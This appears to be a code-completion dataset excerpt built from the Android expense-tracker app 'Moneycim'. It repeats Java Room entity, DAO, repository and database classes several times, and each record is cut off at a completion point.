// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
import com.vsahin.moneycim.Model.Database.AppDatabase;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
import androidx.lifecycle.LiveData;
package com.vsahin.moneycim.Model.Repository;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Singleton
public class SpendingRepository {
private final AppDatabase appDatabase;
@Inject
public SpendingRepository(AppDatabase appDatabase) {
this.appDatabase = appDatabase;
}
| public LiveData<List<Spending>> getSpendings(){
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
| import com.vsahin.moneycim.Model.Database.AppDatabase;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
import androidx.lifecycle.LiveData;
| package com.vsahin.moneycim.Model.Repository;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Singleton
public class SpendingRepository {
private final AppDatabase appDatabase;
@Inject
public SpendingRepository(AppDatabase appDatabase) {
this.appDatabase = appDatabase;
}
public LiveData<List<Spending>> getSpendings(){
return appDatabase.spendingDao().getSpendingsWithGroups();
}
public LiveData<Double> getTotalSpendingQuantity(){
return appDatabase.spendingDao().getTotalSpendingQuantity();
}
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
import com.vsahin.moneycim.Model.Database.AppDatabase;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
import androidx.lifecycle.LiveData;
package com.vsahin.moneycim.Model.Repository;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Singleton
public class SpendingRepository {
private final AppDatabase appDatabase;
@Inject
public SpendingRepository(AppDatabase appDatabase) {
this.appDatabase = appDatabase;
}
public LiveData<List<Spending>> getSpendings(){
return appDatabase.spendingDao().getSpendingsWithGroups();
}
public LiveData<Double> getTotalSpendingQuantity(){
return appDatabase.spendingDao().getTotalSpendingQuantity();
}
| public void addSpending(RawSpending s){
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
| import com.vsahin.moneycim.Model.Database.AppDatabase;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
import androidx.lifecycle.LiveData;
| package com.vsahin.moneycim.Model.Repository;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Singleton
public class SpendingRepository {
private final AppDatabase appDatabase;
@Inject
public SpendingRepository(AppDatabase appDatabase) {
this.appDatabase = appDatabase;
}
public LiveData<List<Spending>> getSpendings(){
return appDatabase.spendingDao().getSpendingsWithGroups();
}
public LiveData<Double> getTotalSpendingQuantity(){
return appDatabase.spendingDao().getTotalSpendingQuantity();
}
public void addSpending(RawSpending s){
appDatabase.spendingDao().addSpending(s);
}
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
import com.vsahin.moneycim.Model.Database.AppDatabase;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
import androidx.lifecycle.LiveData;
package com.vsahin.moneycim.Model.Repository;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Singleton
public class SpendingRepository {
private final AppDatabase appDatabase;
@Inject
public SpendingRepository(AppDatabase appDatabase) {
this.appDatabase = appDatabase;
}
public LiveData<List<Spending>> getSpendings(){
return appDatabase.spendingDao().getSpendingsWithGroups();
}
public LiveData<Double> getTotalSpendingQuantity(){
return appDatabase.spendingDao().getTotalSpendingQuantity();
}
public void addSpending(RawSpending s){
appDatabase.spendingDao().addSpending(s);
}
| public LiveData<List<SpendingGroup>> getSpendingGroups(){
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java
// @Dao
// public interface SpendingDao {
//
// @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
// LiveData<List<Spending>> getSpendingsWithGroups();
//
// @Insert(onConflict = OnConflictStrategy.REPLACE)
// void addSpending(RawSpending s);
//
// @Query("SELECT SUM(QUANTITY) FROM SPENDING")
// LiveData<Double> getTotalSpendingQuantity();
//
// @Query("DELETE FROM SPENDING WHERE ID = :id")
// void deleteSpending(int id);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java
// @Dao
// public interface SpendingGroupDao {
//
// @Query("SELECT * FROM SPENDING_GROUP")
// LiveData<List<SpendingGroup>> getAllSpendingGroups();
//
// @Insert
// void addSpendingGroup(SpendingGroup spendingGroup);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
| import androidx.room.Database;
import androidx.room.RoomDatabase;
import androidx.room.TypeConverters;
import com.vsahin.moneycim.Model.Dao.SpendingDao;
import com.vsahin.moneycim.Model.Dao.SpendingGroupDao;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
| package com.vsahin.moneycim.Model.Database;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
@TypeConverters({Converters.class})
public abstract class AppDatabase extends RoomDatabase{
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java
// @Dao
// public interface SpendingDao {
//
// @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
// LiveData<List<Spending>> getSpendingsWithGroups();
//
// @Insert(onConflict = OnConflictStrategy.REPLACE)
// void addSpending(RawSpending s);
//
// @Query("SELECT SUM(QUANTITY) FROM SPENDING")
// LiveData<Double> getTotalSpendingQuantity();
//
// @Query("DELETE FROM SPENDING WHERE ID = :id")
// void deleteSpending(int id);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java
// @Dao
// public interface SpendingGroupDao {
//
// @Query("SELECT * FROM SPENDING_GROUP")
// LiveData<List<SpendingGroup>> getAllSpendingGroups();
//
// @Insert
// void addSpendingGroup(SpendingGroup spendingGroup);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
import androidx.room.Database;
import androidx.room.RoomDatabase;
import androidx.room.TypeConverters;
import com.vsahin.moneycim.Model.Dao.SpendingDao;
import com.vsahin.moneycim.Model.Dao.SpendingGroupDao;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
package com.vsahin.moneycim.Model.Database;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
@TypeConverters({Converters.class})
public abstract class AppDatabase extends RoomDatabase{
| public abstract SpendingDao spendingDao();
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java
// @Dao
// public interface SpendingDao {
//
// @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
// LiveData<List<Spending>> getSpendingsWithGroups();
//
// @Insert(onConflict = OnConflictStrategy.REPLACE)
// void addSpending(RawSpending s);
//
// @Query("SELECT SUM(QUANTITY) FROM SPENDING")
// LiveData<Double> getTotalSpendingQuantity();
//
// @Query("DELETE FROM SPENDING WHERE ID = :id")
// void deleteSpending(int id);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java
// @Dao
// public interface SpendingGroupDao {
//
// @Query("SELECT * FROM SPENDING_GROUP")
// LiveData<List<SpendingGroup>> getAllSpendingGroups();
//
// @Insert
// void addSpendingGroup(SpendingGroup spendingGroup);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
| import androidx.room.Database;
import androidx.room.RoomDatabase;
import androidx.room.TypeConverters;
import com.vsahin.moneycim.Model.Dao.SpendingDao;
import com.vsahin.moneycim.Model.Dao.SpendingGroupDao;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
| package com.vsahin.moneycim.Model.Database;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
@TypeConverters({Converters.class})
public abstract class AppDatabase extends RoomDatabase{
public abstract SpendingDao spendingDao();
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java
// @Dao
// public interface SpendingDao {
//
// @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
// LiveData<List<Spending>> getSpendingsWithGroups();
//
// @Insert(onConflict = OnConflictStrategy.REPLACE)
// void addSpending(RawSpending s);
//
// @Query("SELECT SUM(QUANTITY) FROM SPENDING")
// LiveData<Double> getTotalSpendingQuantity();
//
// @Query("DELETE FROM SPENDING WHERE ID = :id")
// void deleteSpending(int id);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java
// @Dao
// public interface SpendingGroupDao {
//
// @Query("SELECT * FROM SPENDING_GROUP")
// LiveData<List<SpendingGroup>> getAllSpendingGroups();
//
// @Insert
// void addSpendingGroup(SpendingGroup spendingGroup);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
import androidx.room.Database;
import androidx.room.RoomDatabase;
import androidx.room.TypeConverters;
import com.vsahin.moneycim.Model.Dao.SpendingDao;
import com.vsahin.moneycim.Model.Dao.SpendingGroupDao;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
package com.vsahin.moneycim.Model.Database;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
@TypeConverters({Converters.class})
public abstract class AppDatabase extends RoomDatabase{
public abstract SpendingDao spendingDao();
| public abstract SpendingGroupDao spendingGroupDao();
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
